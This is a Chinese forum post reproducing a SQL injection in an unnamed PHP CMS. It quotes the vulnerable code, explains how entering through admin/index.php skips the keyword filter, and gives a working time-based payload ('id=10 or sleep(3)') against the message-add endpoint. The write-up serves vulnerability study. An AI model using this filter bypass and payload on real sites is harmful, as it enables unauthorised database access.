搜索
查看: 3145|回复: 0

某cms两处sql注入分析(一)

[复制链接]

632

主题

921

帖子

2373

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2373

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2019-1-7 16:32:37 来自手机 | 显示全部楼层 |阅读模式
前言

xxxcms算是我审的第一个cms吧,前期感觉算是一个写的不怎么好的cms,伪全局变量的问题更是不知道引发了多少次漏洞。还记得那些网上的审计教程,说到变量覆盖这个问题都是以xxxcms来举例的。但后期逐渐来了次mvc的大换血,框架更新了下,变量问题也得到了相应调整,也算是逐渐在变好吧。

说了那么多,由于是第一个接触的cms问题,最近被爆出洞也就跟着一起复现了下(我好菜啊。。反正我就挖不到

SQL注入1

漏洞出现在app/system/message/web/message.class.php:37的add函数中
 public function add($info) {
    global $_M;
    if(!$_M[zxsq-anti-bbcode-form][zxsq-anti-bbcode-id]){
        $message=DB::get_one("select * from {$_M[zxsq-anti-bbcode-table][zxsq-anti-bbcode-column]} where module= 7 and lang ='{$_M[zxsq-anti-bbcode-form][zxsq-anti-bbcode-lang]}'");
        $_M[zxsq-anti-bbcode-form][zxsq-anti-bbcode-id]=$message[zxsq-anti-bbcode-id];
    }
    $met_fd_ok=DB::get_one("select * from {$_M[zxsq-anti-bbcode-table][zxsq-anti-bbcode-config]} where lang ='{$_M[zxsq-anti-bbcode-form][zxsq-anti-bbcode-lang]}' and  name= 'met_fd_ok' and columnid = {$_M[zxsq-anti-bbcode-form][zxsq-anti-bbcode-id]}");
    $_M[zxsq-anti-bbcode-config][zxsq-anti-bbcode-met_fd_ok]= $met_fd_ok[zxsq-anti-bbcode-value];

可以看到{$_M[form][id]}没有被单引号包裹起来,从而可能产生注入。

但是是个cms就会存在字符串过滤,来看下其中的过滤语句app/system/include/function/common.func.php:51
 function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[zxsq-anti-bbcode-$key] = daddslashes($val, $force);
            }
        } else {
            if(!defined('IN_ADMIN')){
                $string = trim(addslashes(sqlinsert($string)));
            }else{
                $string = trim(addslashes($string));
            }
        }
    }
    return $string;
}

sqlinsert函数里过滤了相当多的sql关键字,而且只要匹配到出现,参数就直接返回空(相当暴力了

这样,就要想办法绕过!defined('IN_ADMIN')限制,全局搜索一下这个定义的地方,就可以看到是在admin/index.php中
 define('IN_ADMIN', true);
//接口
$M_MODULE='admin';
if(@$_GET[zxsq-anti-bbcode-'m'])$M_MODULE=$_GET[zxsq-anti-bbcode-'m'];
if(@!$_GET[zxsq-anti-bbcode-'n'])$_GET[zxsq-anti-bbcode-'n']="index";
if(@!$_GET[zxsq-anti-bbcode-'c'])$_GET[zxsq-anti-bbcode-'c']="index";
if(@!$_GET[zxsq-anti-bbcode-'a'])$_GET[zxsq-anti-bbcode-'a']="doindex";
@define('M_NAME', $_GET[zxsq-anti-bbcode-'n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET[zxsq-anti-bbcode-'c']);
@define('M_ACTION', $_GET[zxsq-anti-bbcode-'a']);
require_once '../app/system/entrance.php';

但是直接去访问add模块的时候,就显示

add function no permission load!!!
是由于其只能调用带do的方法,这样,恰好在add函数上方,就存在一个
 public function domessage() {
    global $_M;
    if($_M[zxsq-anti-bbcode-'form'][zxsq-anti-bbcode-'action'] == 'add'){
    $this->check_field();
    $this->add($_M[zxsq-anti-bbcode-'form']);
}  

恰好调用了$this->add($_M['form']);,$_M['form']里保存的就是POST和GET传入的参数

然后就是构造payload,这里需要绕过$this->check_field()的验证,只要抓取正常留言的参数,就可以绕过,于是payload就变成了如下
 http://localhost/xxx/admin/index.php
?m=web
&n=message
&c=message
&a=domessage
&action=add
&para137=admin
&para186=a@a.com
&para138=15555555555
&para139=admin
&para140=admin
&id=10 or sleep(3)

这里我直接把sql语句die了出来

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表